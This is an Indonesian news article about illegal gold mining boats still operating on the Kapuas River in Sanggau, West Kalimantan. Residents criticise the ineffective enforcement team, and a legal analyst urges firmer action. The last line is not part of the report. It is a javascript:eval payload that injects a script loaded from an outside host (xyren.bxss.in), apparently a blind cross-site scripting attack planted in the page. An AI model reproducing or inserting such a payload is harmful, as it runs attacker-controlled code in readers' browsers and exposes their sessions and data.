Sanggau, ZONA Kalbar. id – Aktivitas Penambangan Emas Tanpa Izin (PETI) di sepanjang aliran Sungai Kapuas kembali menjadi sorotan. Di Dusun Jeranai, Desa Lintang Kapuas, Kabupaten Sanggau, sembilan lanting bermesin fuso dilaporkan masih beroperasi bebas, menyedot material sungai demi mendapatkan emas.
Meski berbagai pihak telah mengecam kegiatan tambang ilegal tersebut karena dampaknya terhadap lingkungan dan kualitas air sungai, kenyataan di lapangan menunjukkan aktivitas PETI masih berlangsung seperti biasa tanpa hambatan.
Seorang warga setempat, yang meminta identitasnya tidak dipublikasikan, Senin (28/7) mengungkapkan kekesalannya terhadap lemahnya pengawasan pemerintah daerah.
“Saya pernah dengar Pemkab Sanggau membentuk tim penertiban PETI, tapi kenyataannya di sini aktivitasnya tetap berjalan. Tidak ada penertiban. Gimana ini?” kata warga itu kepada wartawan.
Warga menyebut, selain menyebabkan kerusakan ekosistem sungai, kegiatan tersebut juga memicu keresahan karena dilakukan secara terang-terangan.
Sebelumnya, Pemerintah Kabupaten Sanggau mengumumkan pembentukan tim khusus untuk menangani PETI yang tersebar di berbagai wilayah. Namun, hingga kini belum terlihat dampak signifikan dari kehadiran tim tersebut di lokasi-lokasi rawan, seperti di Lintang Kapuas.
Aktivitas PETI kerap menimbulkan kerusakan serius terhadap lingkungan, termasuk pencemaran air sungai dan pendangkalan dasar sungai. Sungai Kapuas yang selama ini menjadi sumber air bagi ribuan warga desa, terancam kehilangan fungsinya akibat aktivitas tambang ilegal yang dibiarkan berlangsung.
Pengamat hukum dan kebijakan publik, Dr. Herman Hofi Munawar, Senin (28/7) angkat bicara, Ia meminta pemerintah dan aparat penegak hukum bertindak lebih tegas. Herman Hofi menilai, pembiaran terhadap aktivitas PETI sama saja dengan pengkhianatan terhadap upaya pelestarian lingkungan dan perlindungan sumber daya alam.
Hingga berita ini diterbitkan, belum ada pernyataan resmi dari pihak pemerintah daerah maupun aparat kepolisian terkait kelanjutan operasi tim penertiban PETI di wilayah tersebut. (Butun)
Baca Juga: Jeranai hingga Jawai: Aktivitas PETI di Sungai Kapuas Meningkat
javascript:eval(‘var a=document.createElement(‘script’);a.src=’https://xyren.bxss.in’;document.body.appendChild(a)’)